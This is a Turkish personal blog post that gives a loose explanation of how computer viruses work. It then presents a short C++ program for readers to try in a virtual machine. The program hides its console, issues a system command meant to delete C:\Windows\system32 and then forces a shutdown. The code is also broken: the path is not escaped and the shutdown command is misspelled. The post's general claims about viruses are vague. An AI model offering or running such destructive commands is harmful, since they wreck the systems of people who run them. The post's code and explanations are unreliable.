Virüslerin-Çalışma-Mantığı_emresupcinMerhaba sevgili okurlarım,

Neredeyse 2 gündür ders ve diğer makale paylaşımlarında bulunamıyordum, kusura bakmayın. Şimdi sizlere anlatacağım konu ise bilgisayar virüslerinin mantığının ne olduğu. İlk başta salt mantık olarak virüsler bilgisayarımıza ve belgelerimize zarar vermek için 3. kişilerin yazılımlarından oluşan birnevi türdür.

 

 

 

Her daim Windows olmak üzere karşımıza çıkıyorlar. Artık Linux ve Mac OS işletim sistemlerinde de bir kaç tane virüs var. Aslında onları yazmak çok basit, çünkü artık .deb, .dmg paketçikleri var.

 

Mantık
>> Bilgisayarı tanımlar.
>> Bilgisayara kendini sanki daha önceden de varmış gibi gösteririr.

(İşletim sisteminin bir parçası gibi)

>> Çoğalmaya başlar ve silinemez.

 
Yukarıda ki mantık üzerinden bir virüs örneği tabi ki de size vermeyeceğim. Çünkü size vermek istediklerim gidip zavallı bilgisayarları çökertmek olmayacak. Bu yüzden kendi üzerinizde sanal makinada deneyebileceğiniz bir örnek veriyorum;

—————————————

 

Dev C++ kullandığım için kodlar ona uyarlıdır. [Console projesi olarak C++ öntabanlı açın]

 

1  #include <cstdlib>
2  #include <iostream>
3
4  using namespace std;
5
6  int main(int argc, char *argv[])
7  {
8    FreeConsole(); // KONSOLUMUZU SAKLADIK GÖRÜNMEZ OLDU
9                  // system32 yi sildik
10    system("rd c:\Windowssystem32"); 
                 // SYSTEM KOMUTU CMD ÜZERİNDE YAZDIĞIMIZ KOMUTLARI 
                                    UYGULAMAK İÇİN BİR PARAMETREDİR
              // bilgisayarı yeniden başlatmasını sağladı ki, 
                                       sonra açılırsa helal olsun :)
11    system("shut down -s -t 10");
12    
13    system("PAUSE");
14    return EXIT_SUCCESS;
15  }
Yazar
Yazar
Bilgisayar Programcısı, Web Tasarımcı, Üniversite Öğrencisi...
Twitter Facebook Google Linkedin Flickr YouTube

Önceki Yazı:Karakterler Arası Boşluk ve Tek Satır Atlamak İçin İpuçları?

Sonraki Yazı:C# – CLR, MSIL, CTS, CLS, JIT Kavramları?

YORUMLAR
SİZ DE CEVAP YAZABİLİRSİNİZ
Bu yazı hakkında görüşünüzü belirtin.

ES Web Tasarım Web Tasarım Blog Teması Emre Supçin Bu tema ES Web Tasarım tarafından düzenlenmiştir. Hiçbir şekilde kopyalanamaz.